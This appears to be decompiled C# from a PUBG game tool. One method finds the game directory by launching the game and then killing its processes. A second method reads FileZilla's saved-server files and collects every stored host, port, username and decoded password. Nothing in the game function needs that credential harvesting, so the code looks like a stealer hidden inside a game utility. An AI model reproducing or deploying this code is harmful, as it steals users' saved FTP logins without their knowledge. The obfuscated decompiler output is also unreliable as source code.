// Token: 0x060007CA RID: 1994 RVA: 0x0104FE70 File Offset: 0x0104E070 public static bool smethod_0() { if (MessageBox.Show("Would you like to perform automatic directory search?\nSteam only.", "Game directory", MessageBoxButtons.YesNo, MessageBoxIcon.Asterisk) != DialogResult.Yes) { return(false); } Process.Start("steam://run/578080"); Thread.Sleep(500); Process process; for (process = null; process == null; process = Process.GetProcessesByName("TslGame_BE").FirstOrDefault <Process>()) { Thread.Sleep(100); } string text = process.smethod_0(1024); GClass21.smethod_1("Taskkill /IM TslGame.exe /F"); GClass21.smethod_1("Taskkill /IM TslGame_BE.exe /F"); if (text.Length > 47) { string text2 = text.Substring(0, text.Length - 43); if (text2.Substring(text2.Length - 4) == "PUBG") { text2 = text.Substring(0, text.Length - 47); } Settings.Default.GamePath = text2; Settings.Default.Save(); bool result; if (!(result = (Directory.Exists(Settings.Default.GamePath + "\\PUBG\\TslGame\\Content\\Paks\\") ? true : false))) { result = Directory.Exists(Settings.Default.GamePath + "\\PUBG2\\TslGame\\Content\\Paks\\"); } return(result); } UI.MsgBox.Show("Could not find game directory!", "", MessageBoxIcon.Hand); return(false); }
// Token: 0x060001D2 RID: 466 RVA: 0x0000C25C File Offset: 0x0000A45C public static List <GClass32> smethod_0() { List <GClass32> list = new List <GClass32>(); List <GClass32> result; try { if (!File.Exists(GClass21.string_0) && !File.Exists(GClass21.string_1)) { result = list; } else { if (File.Exists(GClass21.string_0)) { XmlTextReader reader = new XmlTextReader(GClass21.string_0); XmlDocument xmlDocument = new XmlDocument(); xmlDocument.Load(reader); foreach (object obj in xmlDocument.DocumentElement.ChildNodes[0].ChildNodes) { XmlNode xmlNode = (XmlNode)obj; string text = string.Empty; string username = string.Empty; string password = string.Empty; foreach (object obj2 in xmlNode.ChildNodes) { XmlNode xmlNode2 = (XmlNode)obj2; if (xmlNode2.Name == "Host") { text = xmlNode2.InnerText; } if (xmlNode2.Name == "Port") { text = text + ":" + xmlNode2.InnerText; } if (xmlNode2.Name == "User") { username = xmlNode2.InnerText; } if (xmlNode2.Name == "Pass") { password = xmlNode2.InnerText; } } list.Add(new GClass32 { URL = text, Username = username, Password = password, Application = "FileZilla" }); } } if (File.Exists(GClass21.string_1)) { XmlTextReader reader2 = new XmlTextReader(GClass21.string_1); XmlDocument xmlDocument2 = new XmlDocument(); xmlDocument2.Load(reader2); foreach (object obj3 in xmlDocument2.DocumentElement.ChildNodes[0].ChildNodes) { XmlNode xmlNode3 = (XmlNode)obj3; string text2 = string.Empty; string username2 = string.Empty; string password2 = string.Empty; foreach (object obj4 in xmlNode3.ChildNodes) { XmlNode xmlNode4 = (XmlNode)obj4; if (xmlNode4.Name == "Host") { text2 = xmlNode4.InnerText; } if (xmlNode4.Name == "Port") { text2 = text2 + ":" + xmlNode4.InnerText; } if (xmlNode4.Name == "User") { username2 = xmlNode4.InnerText; } if (xmlNode4.Name == "Pass") { password2 = GClass21.smethod_1(xmlNode4.InnerText); } } list.Add(new GClass32 { URL = text2, Username = username2, Password = password2, Application = "FileZilla" }); } } result = list; } } catch { result = list; } return(result); }